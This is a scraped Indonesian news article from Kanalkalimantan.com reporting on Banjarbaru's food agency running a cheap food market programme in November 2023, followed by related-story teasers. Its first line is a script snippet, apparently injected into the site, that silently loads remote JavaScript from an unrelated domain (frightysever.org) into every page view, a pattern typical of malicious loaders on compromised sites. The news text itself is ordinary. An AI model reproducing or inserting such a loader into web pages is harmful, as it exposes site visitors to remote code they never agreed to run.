(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kesuksesan Dinas Ketahanan Pangan Pertanian dan Perikanan (DKP3) Kota Banjarbaru dalam melaksanakan kegiatan Stabilisasi Pasokan dan Harga Pangan (SPHP), telah berpengaruh terhadap ketersediaan pangan yang stabil dan harga yang terjangkau bagi masyarakat Kota Banjarbaru.
Salah satu SPHP yang sudah dilaksanakan adalah dalam bentuk program Gerakan Pangan Murah (GPM) yang digelar dalam rangkaian Peringatan Hari Pangan Sedunia (HPS) di Kota Banjarbaru. Kegiatan tersebut digelar sejak tanggal 1 hingga 6 November 2023 kemarin.
Kepala DKP3 Kota Banjarbaru melalui Kepala Bidang Ketahanan Pangan, Wiwien Robiaty mengatakan, GPM diklaim telah berhasil mengimplementasikan berbagai inisiatif untuk menjaga ketersediaan dan harga pangan yang stabil.
Baca juga: Dihadiri Duta Besar Palestina, Ini Rundown Aksi Bela Palestina di Lapangan Murdjani Banjarbaru
Tak hanya itu, langkah tersebut juga dinilai telah berhasil mengoptimalkan pasokan pangan kepada masyarakat Banjarbaru.
Salah satu langkah yang diambil dalam Gerakan Pangan Murah adalah kerja sama aktif antara DKP3 Kota Banjarbaru dengan produsen, pedagang dan para petani.
Upaya ini melibatkan pengawasan dan pengendalian ketat terhadap kualitas dan harga pangan yang dijual, sehingga masyarakat bisa mendapatkan berbagai komoditi pangan dengan harga yang terjangkau.
Dijelaskan Roby, saat ini Kota Banjarbaru telah mendapatkan bantuan dana Badan Pangan Nasional yang diturunkan ke DKP Provinsi Kalimantan Selatan dan Kota Banjarbaru untuk kegiatan Pasar Murah Hasil Pertanian.
Baca juga: Survei Banua Meter: Respon Publik Sangat Positif Pembangunan Banjarbaru di Era Aditya-Wartono
“Sasaran dari kegiatan ini adalah masyarakat yang terdampak inflasi, rawan pangan dan masyarakat yang terindikasi stunting,” jelas Wiwien.
Untuk komoditas pangan yang dijual di pasar murah, kata Wiwien, yakni beras, cabai, bawang, telur, daging sapi, daging ayam, minyak goreng dan gula. “Dengan adanya bantuan ini diharapkan benar-benar tepat sasaran dan memang bermanfaat bagi masyarakat Kota Banjarbaru,” ujarnya.
“Diharapkan kesejahteraan masyarakat dapat terbantu dengan adanya kegiatan ini yakni Banjarbaru Juara, Banjarbaru InsyaAllah Juara,” tuturnya.
Wiwien menegaskan bahwa SPHP GPM ini salah satu momentum untuk merayakan peringatan Hari Pangan Sedunia. Gerakan tersebut menurutnya telah membantu masyarakat Ibu Kota Provinsi Kalimantan Selatan ini dalam menghadapi tantangan ekonomi yang diakibatkan oleh fluktuasi harga pangan. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Ribuan jemaah yang memanfaatkan angkutan jalur air untuk mengikuti Haul ke-20 KH… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sehari jelang kegiatan rutin keagamaan 5 Rajab di Sekumpul Martapura, Bupati Banjar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketinggian air di Sungai Martapura kian menaik akibat curah hujan tinggi yang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kegiatan rutin keagamaan Malam Senin 5 Rajab akan berpusat di Mushola Ar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul pada kegiatan Malam Senin Momen 5 Rajab mulai memadati sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA - Warga Desa Sungai Batang RT 3 Kecamatan Martapura Barat, Kabupaten Banjar, berinsiatif… Read More
This website uses cookies.